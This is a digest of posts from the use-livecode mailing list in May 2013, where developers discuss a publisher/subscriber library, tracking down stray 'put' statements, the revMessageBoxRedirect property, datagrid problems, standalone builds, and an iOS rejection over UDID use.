2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 19:58:35 +0000 (UTC) Subject: [ANN] simple publisher/subscriber library for LiveCode References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: Andre Garzia writes: > Mark, I just checked revOnline (the web version) and could not find your > stack, maybe it was lost in the revonlinepocalypse of the 2000ish years) Yeah, OK. I'll post it later tonight. I just had a quick look at your library. The idea and implementation is pretty much the same. I went with the extra complexity of allowing controls to register interest in messages coming from a single object or from any object, something like (from memory) registerEvent pEvent, pTarget, pSource where pSource can be an id or the default value of "*". That way when the dispatcher receives an event it can selectively dispatch the event to only those listeners who have registered interest in the source object. -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Mon May 6 16:03:24 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 20:03:24 +0000 (UTC) Subject: Finding orphaned "put" References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> Message-ID: Alex Tweedly writes: > I personally don't use it (yet?), because I *never* use orphaned "put"s, I don't either. I can't imagine where they keep coming from. I think maybe it's the adult stage of larval lost socks. -- Mark Wieder mwieder at ahsoftware.net From andrew at ctech.me Mon May 6 16:40:05 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Mon, 6 May 2013 15:40:05 -0500 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: Wow. I have been wanting to do things like this with rev for a while, as most of my server side stuff is event driven and I have come to appreciate the usefulness of this paradigm for certain things. I didn't even know about mark's library. On Mon, May 6, 2013 at 2:58 PM, Mark Wieder wrote: > Andre Garzia writes: > > > Mark, I just checked revOnline (the web version) and could not find your > > stack, maybe it was lost in the revonlinepocalypse of the 2000ish years) > > Yeah, OK. I'll post it later tonight. I just had a quick look at your > library. The idea and implementation is pretty much the same. I went with > the extra complexity of allowing controls to register interest in messages > coming from a single object or from any object, something like (from > memory) > > registerEvent pEvent, pTarget, pSource > > where pSource can be an id or the default value of "*". That way when the > dispatcher receives an event it can selectively dispatch the event to only > those listeners who have registered interest in the source object. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From jacque at hyperactivesw.com Mon May 6 17:36:17 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 06 May 2013 16:36:17 -0500 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> Message-ID: <51882251.8070100@hyperactivesw.com> On 5/6/13 3:03 PM, Mark Wieder wrote: > Alex Tweedly writes: > >> I personally don't use it (yet?), because I *never* use orphaned "put"s, > > I don't either. I can't imagine where they keep coming from. I think maybe > it's the adult stage of larval lost socks. > They're coming from me, guys. I use orphaned "puts" sometimes. Usually I PUT IN ALL CAPS WITH A SPECIAL COMMENT --### so I can find them later but if some of them escape, you never know where they'll end up. I think my socks are behind the dryer, so who knows what they're turning into. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Mon May 6 17:39:38 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 06 May 2013 16:39:38 -0500 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> <5187D78F.2010206@hyperactivesw.com> Message-ID: <5188231A.20702@hyperactivesw.com> On 5/6/13 1:55 PM, Paul Maguire wrote: > Thanks for this. Putting stuff in Director (my other life) has an > impact on engine speed, especially if it is a large string. I was just talking to someone today who is also fleeing Director. He's moving everything to LiveCode now. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Mon May 6 17:56:54 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 6 May 2013 14:56:54 -0700 Subject: are my datagrids misbehaving, or is it me. Message-ID: I've distilled my misbehaving datagrid down to this entry. Drag a fresh datagrid onto this card (it's over attachment size limits if I include it). It will be named "dataGrid 1" Push the button, and the editor will immediately hit a breakpoint. At line 39, when the dgData is set, it behaves *mostly* as expected--except that the first column gets grey blocks instead of data. These seem to be created by the setting of the dgData; they are opaque pieces which are set not to be selectable. I've been blocked by this for weeks now . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From mwieder at ahsoftware.net Mon May 6 18:39:26 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 22:39:26 +0000 (UTC) Subject: Finding orphaned "put" References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> Message-ID: Alex Tweedly writes: > Having had the great idea of keeping this info, someone should have said > > "let's keep that info for *every* line (actually, every section) of > output in the msg box" I like the idea. As currently written, there's a single system property called "revmessageboxlastobject" that contains three items: long id, handler, line number Unfortunately, since it's a system property it's part of the engine and so a scripted workaround won't work. It would be nice to have an array instead. > and then have the "target" button take you to the line number in the > script for any specified line. Well, it sort of does, but instead of the line number in the property being the actual line number in the text it's the line number inside the handler. So the button takes you to the wrong line in the script unless you happen to be dealing with the first handler in the script and there's nothing (no empty lines, etc.) before it. I like it as a proof of concept, though. -- Mark Wieder mwieder at ahsoftware.net From ambassador at fourthworld.com Mon May 6 18:56:18 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 06 May 2013 15:56:18 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: <51883512.5040807@fourthworld.com> Another option would be to use the revMessageBoxRedirect global property, and catch the executionContexts from your specified object: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From me at paulmaguire.me Mon May 6 19:16:06 2013 From: me at paulmaguire.me (Paul Maguire) Date: Tue, 7 May 2013 00:16:06 +0100 Subject: Finding orphaned "put" In-Reply-To: <5188231A.20702@hyperactivesw.com> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> <5187D78F.2010206@hyperactivesw.com> <5188231A.20702@hyperactivesw.com> Message-ID: <6FB62407-09C7-462A-9D45-1207EBB48A29@paulmaguire.me> On 6 May 2013, at 22:39, J. Landman Gay wrote: > I was just talking to someone today who is also fleeing Director Director is great. There is nothing else like it. It's Adobe that are the problem. Kind regards, Paul. --------------- Paul Maguire http://www.paulmaguire.me From alex at tweedly.net Mon May 6 19:27:22 2013 From: alex at tweedly.net (Alex Tweedly) Date: Tue, 07 May 2013 00:27:22 +0100 Subject: Finding orphaned "put" In-Reply-To: <51883512.5040807@fourthworld.com> References: <51883512.5040807@fourthworld.com> Message-ID: <51883C5A.8050903@tweedly.net> I can't quite seem to figure out how that works. (With both 5.5.3 and 6.0, I get the following ....) If I set revMessageBoxRedirect to the long ID of a field, then the contents of the field get updated as though it had been the message box; i.e. the field is updated, but there is no "msgChanged" message sent. (Not received by a handler in the field, and not shown by Development / Watch Messages). If I set revMessageBoxRedirect to the long ID of a button then the button does receive "msgChanged" messages - but there are no parameters passed. Maybe I'm missing something - but the code I'm testing with is pretty simple (in my Button script) on mouseUp if revMessageBoxRedirect is empty then set revMessageBoxRedirect to the long ID of me else set revMessageBoxRedirect to empty end if end mouseUp on msgChanged p put "got" && paramcount() && p &CR after field "F" end msgChanged (or change "long ID of me" to "long ID of field "F"" to test the other case). -- Alex. On 06/05/2013 23:56, Richard Gaskin wrote: > Another option would be to use the revMessageBoxRedirect global > property, and catch the executionContexts from your specified object: > > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Mon May 6 19:27:40 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 16:27:40 -0700 Subject: LiveCode Beginner Question In-Reply-To: References: Message-ID: <178239598375.20130506162740@ahsoftware.net> Larry- Monday, May 6, 2013, 7:44:02 AM, you wrote: > I stupidly typed something like: > put "label-string: " and someVar after field "foo" > instead of > put "label-string: " & someVar after field "foo" That one's nigh onto impossible to find in any automated way since they're both valid syntax. They'll pass almost any kind of lint test you can put them through. As a long shot you might craft some kind of test that determines whether both the rvalue and lvalue of a bitwise operator evaluate to a boolean and flag an error if not, but that's impossible at compile time and hard enough at run time. -- -Mark Wieder mwieder at ahsoftware.net From ambassador at fourthworld.com Mon May 6 22:38:59 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 06 May 2013 19:38:59 -0700 Subject: Finding orphaned "put" In-Reply-To: <51883C5A.8050903@tweedly.net> References: <51883C5A.8050903@tweedly.net> Message-ID: <51886943.8040305@fourthworld.com> IIRC the trick with revMessageBoxRedirect is to obtain the value of the Message Box contents from the global variable "message" (or "msg"). -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From mark.rauterkus at gmail.com Mon May 6 23:31:15 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Mon, 6 May 2013 23:31:15 -0400 Subject: Can't make a stand alone Message-ID: Hi, Looking for tips on making a WIN standalone with LiveCode Community 6. Failed, with WinXP, and Win Vista. A few test apps and a simple 2 card app worked. But, the main body of my application won't open. I get an error. https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-snc6/p480x480/179116_10151587776614941_877724884_n.jpg Thanks. Mark Rauterkus mark at Rauterkus.com From shawnlivecode at gmail.com Tue May 7 00:00:15 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Mon, 6 May 2013 23:00:15 -0500 Subject: Can someone explain scroll view to newb Message-ID: I have a card with many labels, text fields and radio buttons. In order for this to be seen and eventually printed I'd like to be able to have users scroll and answer the questions. I've tried the scroll field, and adding a group but can't get it working. Can someone explain scroll view and how I'd go about accomplishing the above? From cszasz at me.com Tue May 7 00:01:58 2013 From: cszasz at me.com (Charles Szasz) Date: Tue, 07 May 2013 00:01:58 -0400 Subject: LC 5.4.4 and XCode Message-ID: <54E2DD3C-6757-4D71-B43C-A8B4AF5496FB@me.com> What versions of XCode will work LC 5.5.4 to create iOS apps? Sent from my iPad From dunbarx at aol.com Tue May 7 00:39:25 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 7 May 2013 00:39:25 -0400 (EDT) Subject: Can someone explain scroll view to newb In-Reply-To: References: Message-ID: <8D018F3FC58B910-D6C-13A2F@webmail-d213.sysops.aol.com> Hi Not sure what you are asking, but try this in a blank card: Put a bunch of buttons all over the card. Group them all. Give that group scrollbars. Now, with the pointer tool, select the group, and make the group much smaller by dragging, say, the bottom right handle up and to the left. Now select the browse tool, and scroll around the group, showing the various buttons that were cut off when you resized. Is this what you were getting at? Craig Newman -----Original Message----- From: Shawn Blc To: How to use LiveCode Sent: Tue, May 7, 2013 12:01 am Subject: Can someone explain scroll view to newb I have a card with many labels, text fields and radio buttons. In order for this to be seen and eventually printed I'd like to be able to have users scroll and answer the questions. I've tried the scroll field, and adding a group but can't get it working. Can someone explain scroll view and how I'd go about accomplishing the above? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From terry.judd at unimelb.edu.au Tue May 7 02:28:14 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Tue, 7 May 2013 06:28:14 +0000 Subject: suspend/resume messages on Android? Message-ID: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au> I've been going back through the list archives and I'm still not exactly sure how you're supposed to deal with 'suspending' and 'resuming' an Android app. It seems that in most cases, and unlike in iOS, when you switch away from an Android app and then return to it it will be in the same state that you left it. That's a good thing, but I'd still like to receive some sort of message or notification when the user leaves and returns to the app as I potentially need to do some housekeeping depending on the interval between the leaving and the return. Is there a preferred way of doing this? Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From scott at elementarysoftware.com Tue May 7 04:45:29 2013 From: scott at elementarysoftware.com (Scott Morrow) Date: Tue, 7 May 2013 01:45:29 -0700 Subject: automated iOS rejection: Non-public API usage Message-ID: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> When submitting an app for iOS the Application Loader completes successfully but shortly an email from Apple arrives explaining that the binary is invalid because: ----------------------------------------- Non-public API usage: ? Apps are not permitted to access the UDID and must not use the uniqueIdentifier method of UIDevice. Please update your apps and servers to associate users with the Vendor or Advertising identifiers introduced in iOS 6. If method names in your source code match the private Apple APIs listed above, altering your method names will help prevent this app from being flagged in future submissions. In addition, note that one or more of the above APIs may be located in a static library that was included with your app. If so, they must be removed. ----------------------------------------- This is an update to a previously accepted app. (tried both Xcode 4.6.1 & 4.6.2 tried with both LC 5.5.3 & 6.0.1) I tried removing externals and even tried resubmitting the previously accepted app by recompiling with a new version number. All now getting the same response. Has anyone had a similar experience? Advice (besides the usual sacrificial chicken and strong drink) ? -- Scott Morrow Elementary Software (Now with 20% less chalk dust!) web http://elementarysoftware.com/ email scott at elementarysoftware.com office 1-800-615-0867 ------------------------------------------------------ From sc at sahores-conseil.com Tue May 7 05:26:58 2013 From: sc at sahores-conseil.com (Pierre Sahores) Date: Tue, 7 May 2013 11:26:58 +0200 Subject: LC 5.4.4 and XCode In-Reply-To: <54E2DD3C-6757-4D71-B43C-A8B4AF5496FB@me.com> References: <54E2DD3C-6757-4D71-B43C-A8B4AF5496FB@me.com> Message-ID: <8C733314-9B24-4E2E-B494-9CBFD3C8C211@sahores-conseil.com> XCode 4.6 (4H127) works fine there with LC 5.5.4 under OS X 10.7.5. while XCode 4.6.1 (4H512) bugs in the same dev. context. Le 7 mai 2013 ? 06:01, Charles Szasz a ?crit : > What versions of XCode will work LC 5.5.4 to create iOS apps? > > Sent from my iPad > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From toolbook at kestner.de Tue May 7 06:45:08 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Tue, 7 May 2013 12:45:08 +0200 Subject: AW: Can't make a stand alone In-Reply-To: References: Message-ID: <004b01ce4b0f$f1c5fc80$d551f580$@de> Any externals used and at their correct place for the standalone? > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Mark Rauterkus > Gesendet: Dienstag, 7. Mai 2013 05:31 > An: use-livecode at lists.runrev.com > Betreff: Can't make a stand alone > > Hi, > > Looking for tips on making a WIN standalone with LiveCode Community 6. > > Failed, with WinXP, and Win Vista. > > A few test apps and a simple 2 card app worked. But, the main body of my > application won't open. I get an error. > > https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak- > snc6/p480x480/179116_10151587776614941_877724884_n.jpg > > > Thanks. > > > Mark Rauterkus > mark at Rauterkus.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Tue May 7 07:13:31 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 07 May 2013 07:13:31 -0400 Subject: Beginner Question Message-ID: <5188E1DB.6050604@gmail.com> I am working on converting one of my Adobe Air Applications to Livecode and I have made a mistake in my script which the application quits. How can I turn off the option to automatically run the application upon opening the project into the IDE so that I can fix my misplaced quit command. From roger.e.eller at sealedair.com Tue May 7 07:20:10 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 7 May 2013 07:20:10 -0400 Subject: Beginner Question In-Reply-To: <5188E1DB.6050604@gmail.com> References: <5188E1DB.6050604@gmail.com> Message-ID: Click on the button labeled "Messages" in the toolbar. That will suspend messages from being sent from your scripts. ~Roger On May 7, 2013 7:12 AM, "Graham Pearson" wrote: > I am working on converting one of my Adobe Air Applications to Livecode > and I have made a mistake in my script which the application quits. How > can I turn off the option to automatically run the application upon > opening the project into the IDE so that I can fix my misplaced quit > command. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Tue May 7 07:32:56 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 07 May 2013 13:32:56 +0200 Subject: Turn off the option to automatically run the application In-Reply-To: <5188E1DB.6050604@gmail.com> References: <5188E1DB.6050604@gmail.com> Message-ID: <5188E668.7080007@economy-x-talk.com> Graham, Choose "suppress messages" from the Development menu. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/7/2013 13:13, Graham Pearson wrote: > turn off the option to automatically run the application From msrf.schonewille at gmail.com Tue May 7 07:35:12 2013 From: msrf.schonewille at gmail.com (Mark Schonewille) Date: Tue, 07 May 2013 13:35:12 +0200 Subject: Beginners questions subject headers Message-ID: <5188E6F0.6020908@gmail.com> Guys, When you give your question the subject "beginners question", people (including you) will never be able to find back the question when they are looking for an answer on the 'net. Please, give your e-mails a descriptive subject header. Usually, you can do this after you write your e-mail, by copy-pasting the most important keywords. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From anthonyhowe at mac.com Tue May 7 07:45:00 2013 From: anthonyhowe at mac.com (Anthony Howe) Date: Tue, 07 May 2013 21:45:00 +1000 Subject: Beginners questions subject headers In-Reply-To: <5188E6F0.6020908@gmail.com> References: <5188E6F0.6020908@gmail.com> Message-ID: https://www.google.com.au/search?q=Beginners+questions+subject+headers&ie=UTF-8&oe=UTF-8&hl=en-gb&client=safari ;) On 07/05/2013, at 9:35 PM, Mark Schonewille wrote: > Guys, > > When you give your question the subject "beginners question", people (including you) will never be able to find back the question when they are looking for an answer on the 'net. Please, give your e-mails a descriptive subject header. Usually, you can do this after you write your e-mail, by copy-pasting the most important keywords. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Tue May 7 08:07:13 2013 From: livfoss at mac.com (Graham Samuel) Date: Tue, 07 May 2013 14:07:13 +0200 Subject: Beginner Question In-Reply-To: References: <5188E1DB.6050604@gmail.com> Message-ID: <8BE2F4D9-7F01-4E2D-93E6-DDEC93074A1B@mac.com> There's another method of doing this, which is to arrange for the initialisation code of your app to be in a 'startup' handler in the first card of the mainstack. 'Startup' is not sent when you load an LC stack from the IDE, so the issue doesn't arise. If you want to initialise after the load, just do send "startup" to card "MyStartCard" of stack "MyMainStack" from the message box. Graham On 7 May 2013, at 13:20, Roger Eller wrote: > Click on the button labeled "Messages" in the toolbar. That will suspend > messages from being sent from your scripts. > > ~Roger > On May 7, 2013 7:12 AM, "Graham Pearson" wrote: > >> I am working on converting one of my Adobe Air Applications to Livecode >> and I have made a mistake in my script which the application quits. How >> can I turn off the option to automatically run the application upon >> opening the project into the IDE so that I can fix my misplaced quit >> command. >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From revlist at azurevision.co.uk Tue May 7 09:01:32 2013 From: revlist at azurevision.co.uk (Ian Wood) Date: Tue, 7 May 2013 14:01:32 +0100 Subject: automated iOS rejection: Non-public API usage In-Reply-To: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> Message-ID: <7835EB55-ADB1-40ED-B321-F7D5D50E487D@azurevision.co.uk> I assume you've already checked that you're not calling any handlers that would call for the UDID? Access to it was restricted a while ago. Ian On 7 May 2013, at 09:45, Scott Morrow wrote: > When submitting an app for iOS the Application Loader completes successfully but shortly an email from Apple arrives explaining that the binary is invalid because: > > ----------------------------------------- > Non-public API usage: > > ? Apps are not permitted to access the UDID and must not use the uniqueIdentifier method of UIDevice. Please update your apps and servers to associate users with the Vendor or Advertising identifiers introduced in iOS 6. > If method names in your source code match the private Apple APIs listed above, altering your method names will help prevent this app from being flagged in future submissions. In addition, note that one or more of the above APIs may be located in a static library that was included with your app. If so, they must be removed. > ----------------------------------------- > > This is an update to a previously accepted app. (tried both Xcode 4.6.1 & 4.6.2 tried with both LC 5.5.3 & 6.0.1) I tried removing externals and even tried resubmitting the previously accepted app by recompiling with a new version number. All now getting the same response. Has anyone had a similar experience? Advice (besides the usual sacrificial chicken and strong drink) ? > > -- > Scott Morrow > > Elementary Software > (Now with 20% less chalk dust!) > web http://elementarysoftware.com/ > email scott at elementarysoftware.com > office 1-800-615-0867 > ------------------------------------------------------ > > > > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Tue May 7 09:19:45 2013 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 7 May 2013 10:19:45 -0300 Subject: Beginners questions subject headers In-Reply-To: <5188E6F0.6020908@gmail.com> References: <5188E6F0.6020908@gmail.com> Message-ID: I think the best subject for a beginner question would be something like [BEGINNER] Where and when is Jacques time travel external located? This way we have a tag/label to easily screen or filter for beginner questions and the question itself stays on the subject. Cheers andre On Tue, May 7, 2013 at 8:35 AM, Mark Schonewille wrote: > Guys, > > When you give your question the subject "beginners question", people > (including you) will never be able to find back the question when they are > looking for an answer on the 'net. Please, give your e-mails a descriptive > subject header. Usually, you can do this after you write your e-mail, by > copy-pasting the most important keywords. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/**xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From andre at andregarzia.com Tue May 7 09:20:29 2013 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 7 May 2013 10:20:29 -0300 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> Message-ID: Mark, Will you go to the conference? Will you take your books there? :-D Cheers andre On Sun, May 5, 2013 at 1:02 PM, William Humphrey wrote: > That's true. > > Brevity and errors in this email probably the result of being sent by a > mobile device. > > On May 5, 2013, at 11:44 AM, Guglielmo Braguglia > wrote: > > > Opss ... sorry, obviously I mean good quality *scanning*, not > photocopies ;-) > > > > Guglielmo > > > > > > On 5/5/13 17:36 PM, Guglielmo Braguglia wrote: > >> Mark, do you understand that in this way ... you penalize ONLY the > honest users (/who would buy an eBook edition/) and, in fact, doing nothing > against piracy? > >> > >> As soon as the book will be available, if it is really an interesting > book ... for sure someone will make good quality photocopies (/... that you > can't prevent/) and will produce a pdf that, within a few days, will be > available on all pirates sites of the world. I have seen this happen > thousands of times for any kind of book ... > >> > >> So, please, try to rethink to your decision ... for all of us who like > eBooks ... :-) > >> > >> Cordially, > >> > >> Guglielmo Braguglia > >> > >> > >> On 5/4/13 19:10 PM, Mark Schonewille wrote: > >>> ...... > >>> > >>> There have been many questions about an ebook edition. *There are no > plans to publish an ebook*. We decided that DRM systems are insufficient. > We don't want people to get the book for free, because that would mean > there won't be a second edition, not to mention a completely new book. > Please, don't ask for an ebook anymore. For the same reason, the book won't > be released under a free license. > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From andrew at ctech.me Tue May 7 10:40:36 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 7 May 2013 09:40:36 -0500 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: On Tue, May 7, 2013 at 8:19 AM, Andre Garzia wrote: > I think the best subject for a beginner question would be something like > > [BEGINNER] Where and when is Jacques time travel external located? > > This way we have a tag/label to easily screen or filter for beginner > questions and the question itself stays on the subject. > > Cheers > andre > > Very good question. Where IS this time travel external? I have some great ideas for it. -- Regards, Andrew Kluthe andrew at ctech.me From roger.e.eller at sealedair.com Tue May 7 10:46:06 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 7 May 2013 10:46:06 -0400 Subject: Beginner Question In-Reply-To: <8BE2F4D9-7F01-4E2D-93E6-DDEC93074A1B@mac.com> References: <5188E1DB.6050604@gmail.com> <8BE2F4D9-7F01-4E2D-93E6-DDEC93074A1B@mac.com> Message-ID: You can also protect yourself from the accidental quit. if the environment is "development" then answer "My Standalone would quit now, but in the IDE it keeps running." else quit end if ~Roger -- Roger Eller Graphics Systems Analyst Sealed Air Corporation 864-967-1625 Office 864-908-0337 Cell On Tue, May 7, 2013 at 8:07 AM, Graham Samuel wrote: > There's another method of doing this, which is to arrange for the > initialisation code of your app to be in a 'startup' handler in the first > card of the mainstack. 'Startup' is not sent when you load an LC stack from > the IDE, so the issue doesn't arise. If you want to initialise after the > load, just do > > send "startup" to card "MyStartCard" of stack "MyMainStack" > > from the message box. > > Graham > > On 7 May 2013, at 13:20, Roger Eller wrote: > > > Click on the button labeled "Messages" in the toolbar. That will suspend > > messages from being sent from your scripts. > > > > ~Roger > > On May 7, 2013 7:12 AM, "Graham Pearson" wrote: > > > >> I am working on converting one of my Adobe Air Applications to Livecode > >> and I have made a mistake in my script which the application quits. How > >> can I turn off the option to automatically run the application upon > >> opening the project into the IDE so that I can fix my misplaced quit > >> command. > >> > >> > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > 